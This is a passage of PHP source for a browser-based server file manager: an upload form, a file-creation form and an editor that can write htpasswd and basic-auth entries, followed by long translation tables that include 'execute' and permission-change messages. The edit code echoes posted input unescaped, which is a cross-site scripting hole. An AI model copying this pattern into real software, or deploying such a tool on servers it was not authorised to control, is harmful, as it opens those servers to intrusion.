colspan="' . $cols . '" id="upload"> ' . word('file') . ': <input type="file" name="upload" onfocus="activate(\'other\')" /> <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" /> </td> </tr> '; } function create_box () { global $cols; echo '<tr> <td colspan="' . $cols . '" id="create"> <select name="create_type" size="1" onfocus="activate(\'create\')"> <option value="file">' . word('file') . '</option> <option value="directory">' . word('directory') . '</option> </select> <input type="text" name="create_name" onfocus="activate(\'create\')" /> <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" /> </td> </tr> '; } function edit ($file) { global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess; html_header(); echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2> <form action="' . $self . '" method="post"> <table class="dialog"> <tr> <td class="dialog"> <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">'; if (array_key_exists('content', $_POST)) { echo $_POST['content']; } else { $f = fopen($file, 'r'); while (!feof($f)) { echo html(fread($f, 8192)); } fclose($f); } if (!empty($_POST['user'])) { echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']); } if (!empty($_POST['basic_auth'])) { if ($win) { $authfile = str_replace('\\', '/', $directory) . $htpasswd; } else { $authfile = $directory . $htpasswd; } echo "\nAuthType Basic\nAuthName "Restricted Directory"\n"; echo 'AuthUserFile "' . html($authfile) . ""\n"; echo 'Require valid-user'; } echo '</textarea> <hr /> '; if ($apache && basename($file) == $htpasswd) { echo ' ' . word('user') . ': <input type="text" name="user" /> ' . word('password') . ': <input type="password" name="password" /> <input type="submit" value="' . word('add') . '" /> <hr /> '; } if ($apache && basename($file) == $htaccess) { echo ' <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" /> <hr /> '; } echo ' <input type="hidden" name="action" value="edit" /> <input type="hidden" name="file" value="' . html($file) . '" /> <input type="hidden" name="dir" value="' . html($directory) . '" /> <input type="reset" value="' . word('reset') . '" id="red_button" /> <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" /> </td> </tr> </table> <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p> </form> '; html_footer(); } function spacer () { global $cols; echo '<tr> <td colspan="' . $cols . '" style="height: 1em"></td> </tr> '; } function textfieldsize ($content) { $size = strlen($content) + 5; if ($size < 30) $size = 30; return $size; } function request_dump () { foreach ($_REQUEST as $key => $value) { echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n"; } } /* ------------------------------------------------------------------------- */ function html ($string) { global $site_charset; return htmlentities($string, ENT_COMPAT, $site_charset); } function word ($word) { global $words, $word_charset; return htmlentities($words[$word], ENT_COMPAT, $word_charset); } function phrase ($phrase, $arguments) { global $words; static $search; if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i"; for ($i = 0; $i < sizeof($arguments); $i++) { $arguments[$i] = nl2br(html($arguments[$i])); } $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>'); return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase])))); } function getwords ($lang) { global $date_format, $word_charset; $word_charset = 'UTF-8'; switch ($lang) { case 'de': $date_format = 'd.m.y H:i:s'; return array( 'directory' => 'Verzeichnis', 'file' => 'Datei', 'filename' => 'Dateiname', 'size' => 'Größe', 'permission' => 'Rechte', 'owner' => 'Eigner', 'group' => 'Gruppe', 'other' => 'Andere', 'functions' => 'Funktionen', 'read' => 'lesen', 'write' => 'schreiben', 'execute' => 'ausführen', 'create_symlink' => 'Symlink erstellen', 'delete' => 'löschen', 'rename' => 'umbenennen', 'move' => 'verschieben', 'copy' => 'kopieren', 'edit' => 'editieren', 'download' => 'herunterladen', 'upload' => 'hochladen', 'create' => 'erstellen', 'change' => 'wechseln', 'save' => 'speichern', 'set' => 'setze', 'reset' => 'zurücksetzen', 'relative' => 'Pfad zum Ziel relativ', 'yes' => 'Ja', 'no' => 'Nein', 'back' => 'zurück', 'destination' => 'Ziel', 'symlink' => 'Symbolischer Link', 'no_output' => 'keine Ausgabe', 'user' => 'Benutzername', 'password' => 'Kennwort', 'add' => 'hinzufügen', 'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen', 'uploaded' => '"[%1]" wurde hochgeladen.', 'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.', 'already_exists' => '"[%1]" existiert bereits.', 'created' => '"[%1]" wurde erstellt.', 'not_created' => '"[%1]" konnte nicht erstellt werden.', 'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?', 'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]", 'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]", 'rename_file' => 'Benenne Datei um:', 'renamed' => '"[%1]" wurde in "[%2]" umbenannt.', 'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.', 'move_files' => 'Verschieben folgende Dateien:', 'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]", 'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]", 'copy_files' => 'Kopiere folgende Dateien:', 'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]", 'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]", 'not_edited' => '"[%1]" kann nicht editiert werden.', 'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}", 'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}", 'saved' => '"[%1]" wurde gespeichert.', 'not_saved' => '"[%1]" konnte nicht gespeichert werden.', 'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.', 'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.', 'permission_for' => 'Rechte für "[%1]":', 'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.', 'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.', 'not_readable' => '"[%1]" kann nicht gelesen werden.' ); case 'fr': $date_format = 'd.m.y H:i:s'; return array( 'directory' => 'Répertoire', 'file' => 'Fichier', 'filename' => 'Nom fichier', 'size' => 'Taille', 'permission' => 'Droits', 'owner' => 'Propriétaire', 'group' => 'Groupe', 'other' => 'Autres', 'functions' => 'Fonctions', 'read' => 'Lire', 'write' => 'Ecrire', 'execute' => 'Exécuter', 'create_symlink' => 'Créer lien symbolique', 'delete' => 'Effacer', 'rename' => 'Renommer', 'move' => 'Déplacer', 'copy' => 'Copier', 'edit' => 'Ouvrir', 'download' => 'Télécharger sur PC', 'upload' => 'Télécharger sur serveur', 'create' => 'Créer', 'change' => 'Changer', 'save' => 'Sauvegarder', 'set' => 'Exécuter', 'reset' => 'Réinitialiser', 'relative' => 'Relatif', 'yes' => 'Oui', 'no' => 'Non', 'back' => 'Retour', 'destination' => 'Destination', 'symlink' => 'Lien symbollique', 'no_output' => 'Pas de sortie', 'user' => 'Utilisateur', 'password' => 'Mot de passe', 'add' => 'Ajouter', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" a été téléchargé sur le serveur.', 'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.', 'already_exists' => '"[%1]" existe déjà.', 'created' => '"[%1]" a été créé.', 'not_created' => '"[%1]" n a pas pu être créé.', 'really_delete' => 'Effacer le fichier?', 'deleted' => "Ces fichiers ont été détuits:\n[%1]", 'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]", 'rename_file' => 'Renomme fichier:', 'renamed' => '"[%1]" a été renommé en "[%2]".', 'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".', 'move_files' => 'Déplacer ces fichiers:', 'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]", 'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]", 'copy_files' => 'Copier ces fichiers:', 'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]", 'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" ne peut être ouvert.', 'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}", 'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}", 'saved' => '"[%1]" a été sauvegardé.', 'not_saved' => '"[%1]" n a pas pu être sauvegardé.', 'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.', 'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.', 'permission_for' => 'Droits de "[%1]":', 'permission_set' => 'Droits de "[%1]" ont été changés en [%2].', 'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].', 'not_readable' => '"[%1]" ne peut pas être ouvert.' ); case 'it': $date_format = 'd-m-Y H:i:s'; return array( 'directory' => 'Directory', 'file' => 'File', 'filename' => 'Nome File', 'size' => 'Dimensioni', 'permission' => 'Permessi', 'owner' => 'Proprietario', 'group' => 'Gruppo', 'other' => 'Altro', 'functions' => 'Funzioni', 'read' => 'leggi', 'write' => 'scrivi', 'execute' => 'esegui', 'create_symlink' => 'crea link simbolico', 'delete' => 'cancella', 'rename' => 'rinomina', 'move' => 'sposta', 'copy' => 'copia', 'edit' => 'modifica', 'download' => 'download', 'upload' => 'upload', 'create' => 'crea', 'change' => 'cambia', 'save' => 'salva', 'set' => 'imposta', 'reset' => 'reimposta', 'relative' => 'Percorso relativo per la destinazione', 'yes' => 'Si', 'no' => 'No', 'back' => 'indietro', 'destination' => 'Destinazione', 'symlink' => 'Link simbolico', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'aggiungi', 'add_basic_auth' => 'aggiungi autenticazione base', 'uploaded' => '"[%1]" è stato caricato.', 'not_uploaded' => '"[%1]" non è stato caricato.', 'already_exists' => '"[%1]" esiste già.', 'created' => '"[%1]" è stato creato.', 'not_created' => '"[%1]" non è stato creato.', 'really_delete' => 'Cancello questi file ?', 'deleted' => "Questi file sono stati cancellati:\n[%1]", 'not_deleted' => "Questi file non possono essere cancellati:\n[%1]", 'rename_file' => 'File rinominato:', 'renamed' => '"[%1]" è stato rinominato in "[%2]".', 'not_renamed' => '"[%1] non è stato rinominato in "[%2]".', 'move_files' => 'Sposto questi file:', 'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]", 'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]", 'copy_files' => 'Copio questi file', 'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]", 'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" non può essere modificato.', 'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}", 'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}", 'saved' => '"[%1]" è stato salvato.', 'not_saved' => '"[%1]" non è stato salvato.', 'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.', 'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.', 'permission_for' => 'Permessi di "[%1]":', 'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].', 'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].', 'not_readable' => '"[%1]" non può essere letto.' ); case 'nl': $date_format = 'n/j/y H:i:s'; return array( 'directory' => 'Directory', 'file' => 'Bestand', 'filename' => 'Bestandsnaam', 'size' => 'Grootte', 'permission' => 'Bevoegdheid', 'owner' => 'Eigenaar', 'group' => 'Groep', 'other' => 'Anderen', 'functions' => 'Functies', 'read' => 'lezen', 'write' => 'schrijven', 'execute' => 'uitvoeren', 'create_symlink' => 'maak symlink', 'delete' => 'verwijderen', 'rename' => 'hernoemen', 'move' => 'verplaatsen', 'copy' => 'kopieren', 'edit' => 'bewerken', 'download' => 'downloaden', 'upload' => 'uploaden', 'create' => 'aanmaken', 'change' => 'veranderen', 'save' => 'opslaan', 'set' => 'instellen', 'reset' => 'resetten', 'relative' => 'Relatief pat naar doel', 'yes' => 'Ja', 'no' => 'Nee', 'back' => 'terug', 'destination' => 'Bestemming', 'symlink' => 'Symlink', 'no_output' => 'geen output', 'user' => 'Gebruiker', 'password' => 'Wachtwoord', 'add' => 'toevoegen', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" is verstuurd.', 'not_uploaded' => '"[%1]" kan niet worden verstuurd.', 'already_exists' => '"[%1]" bestaat al.', 'created' => '"[%1]" is aangemaakt.', 'not_created' => '"[%1]" kan niet worden aangemaakt.', 'really_delete' => 'Deze bestanden verwijderen?', 'deleted' => "Deze bestanden zijn verwijderd:\n[%1]", 'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]", 'rename_file' => 'Bestandsnaam veranderen:', 'renamed' => '"[%1]" heet nu "[%2]".', 'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".', 'move_files' => 'Verplaats deze bestanden:', 'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]", 'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]", 'copy_files' => 'Kopieer deze bestanden:', 'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]", 'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" kan niet worden bewerkt.', 'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}", 'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}", 'saved' => '"[%1]" is opgeslagen.', 'not_saved' => '"[%1]" is niet opgeslagen.', 'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.', 'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.', 'permission_for' => 'Bevoegdheid voor "[%1]":', 'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].', 'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].', 'not_readable' => '"[%1]" kan niet worden gelezen.' ); case 'se': $date_format = 'n/j/y H:i:s'; return array( 'directory' => 'Mapp', 'file' => 'Fil', 'filename' => 'Filnamn', 'size' => 'Storlek', 'permission' => 'Säkerhetsnivå', 'owner' => 'Ägare', 'group' => 'Grupp', 'other' => 'Andra', 'functions' => 'Funktioner', 'read' => 'Läs', 'write' => 'Skriv', 'execute' => 'Utför', 'create_symlink' => 'Skapa symlink', 'delete' => 'Radera', 'rename' => 'Byt namn', 'move' => 'Flytta', 'copy' => 'Kopiera', 'edit' => 'Ändra', 'download' => 'Ladda ner', 'upload' => 'Ladda upp', 'create' => 'Skapa', 'change' => 'Ändra', 'save' => 'Spara', 'set' => 'Markera', 'reset' => 'Töm', 'relative' => 'Relative path to target', 'yes' => 'Ja', 'no' => 'Nej', 'back' => 'Tillbaks', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'Användare', 'password' => 'Lösenord', 'add' => 'Lägg till', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" har laddats upp.', 'not_uploaded' => '"[%1]" kunde inte laddas upp.', 'already_exists' => '"[%1]" finns redan.', 'created' => '"[%1]" har skapats.', 'not_created' => '"[%1]" kunde inte skapas.', 'really_delete' => 'Radera dessa filer?', 'deleted' => "De här filerna har raderats:\n[%1]", 'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]", 'rename_file' => 'Byt namn på fil:', 'renamed' => '"[%1]" har bytt namn till "[%2]".', 'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".', 'move_files' => 'Flytta dessa filer:', 'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]", 'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]", 'copy_files' => 'Kopiera dessa filer:', 'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]", 'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" kan inte ändras.', 'executed' => "\"[%1]\" har utförts:\n{%2}", 'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}", 'saved' => '"[%1]" har sparats.', 'not_saved' => '"[%1]" kunde inte sparas.', 'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.', 'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.', 'permission_for' => 'Rättigheter för "[%1]":', 'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" kan inte läsas.' ); case 'sp': $date_format = 'j/n/y H:i:s'; return array( 'directory' => 'Directorio', 'file' => 'Archivo', 'filename' => 'Nombre Archivo', 'size' => 'Tamaño', 'permission' => 'Permisos', 'owner' => 'Propietario', 'group' => 'Grupo', 'other' => 'Otros', 'functions' => 'Funciones', 'read' => 'lectura', 'write' => 'escritura', 'execute' => 'ejecución', 'create_symlink' => 'crear enlace', 'delete' => 'borrar', 'rename' => 'renombrar', 'move' => 'mover', 'copy' => 'copiar', 'edit' => 'editar', 'download' => 'bajar', 'upload' => 'subir', 'create' => 'crear', 'change' => 'cambiar', 'save' => 'salvar', 'set' => 'setear', 'reset' => 'resetear', 'relative' => 'Path relativo', 'yes' => 'Si', 'no' => 'No', 'back' => 'atrás', 'destination' => 'Destino', 'symlink' => 'Enlace', 'no_output' => 'sin salida', 'user' => 'Usuario', 'password' => 'Clave', 'add' => 'agregar', 'add_basic_auth' => 'agregar autentificación básica', 'uploaded' => '"[%1]" ha sido subido.', 'not_uploaded' => '"[%1]" no pudo ser subido.', 'already_exists' => '"[%1]" ya existe.', 'created' => '"[%1]" ha sido creado.', 'not_created' => '"[%1]" no pudo ser creado.', 'really_delete' => '¿Borra estos archivos?', 'deleted' => "Estos archivos han sido borrados:\n[%1]", 'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]", 'rename_file' => 'Renombra archivo:', 'renamed' => '"[%1]" ha sido renombrado a "[%2]".', 'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".', 'move_files' => 'Mover estos archivos:', 'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]", 'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]", 'copy_files' => 'Copiar estos archivos:', 'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]", 'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" no pudo ser editado.', 'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}", 'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}", 'saved' => '"[%1]" ha sido salvado.', 'not_saved' => '"[%1]" no pudo ser salvado.', 'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.', 'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.', 'permission_for' => 'Permisos de "[%1]":', 'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].', 'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].', 'not_readable' => '"[%1]" no pudo ser leído.' ); case 'dk': $date_format = 'n/j/y H:i:s'; return array( 'directory' => 'Mappe', 'file' => 'Fil', 'filename' => 'Filnavn', 'size' => 'Størrelse', 'permission' => 'Rettighed', 'owner' => 'Ejer', 'group' => 'Gruppe', 'other' => 'Andre', 'functions' => 'Funktioner', 'read' => 'læs', 'write' => 'skriv', 'execute' => 'kør', 'create_symlink' => 'opret symbolsk link', 'delete' => 'slet', 'rename' => 'omdøb', 'move' => 'flyt', 'copy' => 'kopier', 'edit' => 'rediger', 'download' => 'download', 'upload' => 'upload', 'create' => 'opret', 'change' => 'skift', 'save' => 'gem', 'set' => 'sæt', 'reset' => 'nulstil', 'relative' => 'Relativ sti til valg', 'yes' => 'Ja', 'no' => 'Nej', 'back' => 'tilbage', 'destination' => 'Distination', 'symlink' => 'Symbolsk link', 'no_output' => 'ingen resultat', 'user' => 'Bruger', 'password' => 'Kodeord', 'add' => 'tilføj', 'add_basic_auth' => 'tilføj grundliggende rettigheder', 'uploaded' => '"[%1]" er blevet uploaded.', 'not_uploaded' => '"[%1]" kunnu ikke uploades.', 'already_exists' => '"[%1]" findes allerede.', 'created' => '"[%1]" er blevet oprettet.', 'not_created' => '"[%1]" kunne ikke oprettes.', 'really_delete' => 'Slet disse filer?', 'deleted' => "Disse filer er blevet slettet:\n[%1]", 'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]", 'rename_file' => 'Omdød fil:', 'renamed' => '"[%1]" er blevet omdøbt til "[%2]".', 'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".', 'move_files' => 'Flyt disse filer:', 'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]", 'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]", 'copy_files' => 'Kopier disse filer:', 'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]", 'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" kan ikke redigeres.', 'executed' => "\"[%1]\" er blevet kørt korrekt:\n{%2}", 'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{%2}", 'saved' => '"[%1]" er blevet gemt.', 'not_saved' => '"[%1]" kunne ikke gemmes.', 'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.', 'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.', 'permission_for' => 'Rettigheder for "[%1]":', 'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].', 'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].', 'not_readable' => '"[%1]" Kan ikke læses.' ); case 'tr': $date_format = 'n/j/y H:i:s'; return array( 'directory' => 'Klasör', 'file' => 'Dosya', 'filename' => 'dosya adi', 'size' => 'boyutu', 'permission' => 'Izin', 'owner' => 'sahib', 'group' => 'Grup', 'other' => 'Digerleri', 'functions' => 'Fonksiyonlar', 'read' => 'oku', 'write' => 'yaz', 'execute' => 'çalistir', 'create_symlink' => 'yarat symlink', 'delete' => 'sil', 'rename' => 'ad degistir', 'move' => 'tasi', 'copy' => 'kopyala', 'edit' => 'düzenle', 'download' => 'indir', 'upload' => 'yükle', 'create' => 'create', 'change' => 'degistir', 'save' => 'kaydet', 'set' => 'ayar', 'reset' => 'sifirla', 'relative' => 'Hedef yola göre', 'yes' => 'Evet', 'no' => 'Hayir', 'back' => 'Geri', 'destination' => 'Hedef', 'symlink' => 'Kýsa yol', 'no_output' => 'çikti yok', 'user' => 'Kullanici', 'password' => 'Sifre', 'add' => 'ekle', 'add_basic_auth' => 'ekle basit-authentification', 'uploaded' => '"[%1]" yüklendi.', 'not_uploaded' => '"[%1]" yüklenemedi.', 'already_exists' => '"[%1]" kullanilmakta.', 'created' => '"[%1]" olusturuldu.', 'not_created' => '"[%1]" olusturulamadi.', 'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?', 'deleted' => "Bu dosyalar silindi:\n[%1]", 'not_deleted' => "Bu dosyalar silinemedi:\n[%1]", 'rename_file' => 'Adi degisen dosya:', 'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".', 'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.', 'move_files' => 'Tasinan dosyalar:', 'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]", 'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]", 'copy_files' => 'Kopyalanan dosyalar:', 'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]", 'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" düzenlenemiyor.', 'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}", 'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}", 'saved' => '"[%1]" kaydedildi.', 'not_saved' => '"[%1]" kaydedilemedi.', 'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.', 'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.', 'permission_for' => 'Izinler "[%1]":', 'permission_set' => 'Izinler "[%1]" degistirildi [%2].', 'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].', 'not_readable' => '"[%1]" okunamiyor.' ); case 'cs': $date_format = 'd.m.y H:i:s'; return array( 'directory' => 'Adresář', 'file' => 'Soubor', 'filename' => 'Jméno souboru', 'size' => 'Velikost', 'permission' => 'Práva', 'owner' => 'Vlastník', 'group' => 'Skupina', 'other' => 'Ostatní', 'functions' => 'Funkce', 'read' => 'Čtení', 'write' => 'Zápis', 'execute' => 'Spouštění', 'create_symlink' => 'Vytvořit symbolický odkaz', 'delete' => 'Smazat', 'rename' => 'Přejmenovat', 'move' => 'Přesunout', 'copy' => 'Zkopírovat', 'edit' => 'Otevřít', 'download' => 'Stáhnout', 'upload' => 'Nahraj na server', 'create' => 'Vytvořit', 'change' => 'Změnit', 'save' => 'Uložit', 'set' => 'Nastavit', 'reset' => 'zpět', 'relative' => 'Relatif', 'yes' => 'Ano', 'no' => 'Ne', 'back' => 'Zpět', 'destination' => 'Destination', 'symlink' => 'Symbolický odkaz', 'no_output' => 'Prázdný výstup', 'user' => 'Uživatel', 'password' => 'Heslo', 'add' => 'Přidat', 'add_basic_auth' => 'přidej základní autentizaci', 'uploaded' => 'Soubor "[%1]" byl nahrán na server.', 'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.', 'already_exists' => 'Soubor "[%1]" už exituje.', 'created' => 'Soubor "[%1]" byl vytvořen.', 'not_created' => 'Soubor "[%1]" nemohl být vytvořen.', 'really_delete' => 'Vymazat soubor?', 'deleted' => "Byly vymazány tyto soubory:\n[%1]", 'not_deleted' => "Tyto soubory nemohly být vytvořeny:\n[%1]", 'rename_file' => 'Přejmenuj soubory:', 'renamed' => 'Soubor "[%1]" byl přejmenován na "[%2]".', 'not_renamed' => 'Soubor "[%1]" nemohl být přejmenován na "[%2]".', 'move_files' => 'Přemístit tyto soubory:', 'moved' => "Tyto soubory byly přemístěny do \"[%2]\":\n[%1]", 'not_moved' => "Tyto soubory nemohly být přemístěny do \"[%2]\":\n[%1]", 'copy_files' => 'Zkopírovat tyto soubory:', 'copied' => "Tyto soubory byly zkopírovány do \"[%2]\":\n[%1]", 'not_copied' => "Tyto soubory nemohly být zkopírovány do \"[%2]\":\n[%1]", 'not_edited' => 'Soubor "[%1]" nemohl být otevřen.', 'executed' => "SOubor \"[%1]\" byl spuštěn :\n{%2}", 'not_executed' => "Soubor \"[%1]\" nemohl být spuštěn:\n{%2}", 'saved' => 'Soubor "[%1]" byl uložen.', 'not_saved' => 'Soubor "[%1]" nemohl být uložen.', 'symlinked' => 'Byl vyvořen symbolický odkaz "[%2]" na soubor "[%1]".', 'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvořen.', 'permission_for' => 'Práva k "[%1]":', 'permission_set' => 'Práva k "[%1]" byla změněna na [%2].', 'permission_not_set' => 'Práva k "[%1]" nemohla být změněna na [%2].', 'not_readable' => 'Soubor "[%1]" není možno přečíst.' ); case 'ru': $date_format = 'd.m.y H:i:s'; return array( 'directory' => 'Каталог', 'file' => 'Файл', 'filename' => 'Имя файла', 'size' => 'Размер', 'permission' => 'Права', 'owner' => 'Хозяин', 'group' => 'Группа', 'other' => 'Другие', 'functions' => 'Функция', 'read' => 'читать', 'write' => 'писать', 'execute' => 'выполнить', 'create_symlink' => 'Сделать симлинк', 'delete' => 'удалить', 'rename' => 'переименовать', 'move' => 'передвинуть', 'copy' => 'копировать', 'edit' => 'редактировать', 'download' => 'скачать', 'upload' => 'закачать', 'create' => 'сделать', 'change' => 'поменять', 'save' => 'сохранить', 'set' => 'установить', 'reset' => 'сбросить', 'relative' => 'относительный путь к цели', 'yes' => 'да', 'no' => 'нет', 'back' => 'назад', 'destination' => 'цель', 'symlink' => 'символический линк', 'no_output' => 'нет вывода', 'user' => 'Пользователь', 'password' => 'Пароль', 'add' => 'добавить', 'add_basic_auth' => 'Добавить HTTP-Basic-Auth', 'uploaded' => '"[%1]" был закачен.', 'not_uploaded' => '"[%1]" невозможно было закачять.', 'already_exists' => '"[%1]" уже существует.', 'created' => '"[%1]" был сделан.', 'not_created' => '"[%1]" не возможно сделать.', 'really_delete' => 'Действительно этот файл удалить?', 'deleted' => "Следующие файлы были удалены:\n[%1]", 'not_deleted' => "Следующие файлы не возможно было удалить:\n[%1]", 'rename_file' => 'Переименовываю файл:', 'renamed' => '"[%1]" был переименован на "[%2]".', 'not_renamed' => '"[%1] невозможно было переименовать на "[%2]".', 'move_files' => 'Передвигаю следующие файлы:', 'moved' => "Следующие файлы были передвинуты в каталог \"[%2]\":\n[%1]", 'not_moved' => "Следующие файлы невозможно было передвинуть в каталог \"[%2]\":\n[%1]", 'copy_files' => 'Копирую следущие файлы:', 'copied' => "Следущие файлы былы скопированы в каталог \"[%2]\" :\n[%1]", 'not_copied' => "Следующие файлы невозможно было скопировать в каталог \"[%2]\" :\n[%1]", 'not_edited' => '"[%1]" не может быть отредактирован.', 'executed' => "\"[%1]\" был успешно исполнен:\n{%2}", 'not_executed' => "\"[%1]\" невозможно было запустить на исполнение:\n{%2}", 'saved' => '"[%1]" был сохранен.', 'not_saved' => '"[%1]" невозможно было сохранить.', 'symlinked' => 'Симлинк с "[%2]" на "[%1]" был сделан.', 'not_symlinked' => 'Невозможно было сделать симлинк с "[%2]" на "[%1]".', 'permission_for' => 'Права доступа "[%1]":', 'permission_set' => 'Права доступа "[%1]" были изменены на [%2].', 